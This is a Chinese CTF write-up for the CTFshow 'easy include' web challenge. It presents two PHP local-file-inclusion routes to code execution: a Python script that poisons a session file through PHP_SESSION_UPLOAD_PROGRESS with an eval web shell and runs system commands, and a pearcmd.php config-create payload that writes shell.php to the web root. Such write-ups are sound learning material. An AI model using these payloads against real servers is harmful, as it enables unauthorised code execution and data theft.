当前位置:   article > 正文

CTFshow元旦水友赛-web-easy include

ctfshow元旦水友赛-web-easy include

   显然这是一道文件包含的题目。其中有一个waf,过滤了’.’,post的开头必须是a-z之间的字母。

其他方法都不太行,因为过滤了’.’且固定了file://的形式。

这道题有两个方法,分别是session文件包含和pear文件包含。


  • 一、session文件包含

session文件包含其实就是客户端构造一个POST请求,同时数据包包含参数"PHP_SESSION_UPLOAD_PROGRESS",该参数会被短暂地包含进一个临时的session文件下,为session文件命名、上传后进行包含,就能执行文件中的内容。

直接上python脚本。

import requests

url="https://5f14ee60-a833-470e-a99e-2ede9df8e938.challenge.ctf.show/"

data={

    'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[2]);?>',

    '1':'localhost/tmp/sess_xiaokai',

    '2':'system("cat /f*");'

}

files={

    'file':'xiaokai'

}

cookies={

    'PHPSESSID':'xiaokai'

}

response=requests.post(url=url,data=data,files=files,cookies=cookies)

print(response.text)

本题不需要条件竞争,有关条件竞争的可以看p神的博客:

https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html


  • 二、pear文件包含

有关pear文件包含详情也可以看p神的博客。

构造payload:

https://706f52b0-cbb4-43b1-b10f-e881ab5ef0f4.challenge.ctf.show/?+config-create+/&/<?=eval($_POST[2]);?>+/var/www/html/shell.php

POST:1=localhost/usr/local/lib/php/pearcmd.php

这里的’.’本应该是被过滤的,但是不知道为什么就是可以被包含。有哪位懂的大佬可以评论区教我一下~

然后用bp抓以上payload的数据包。

这里显示shell.php被成功写入

直接利用

拿下flag!

声明:本文内容由网友自发贡献,转载请注明出处:【wpsshop博客】
推荐阅读
相关标签
  

闽ICP备14008679号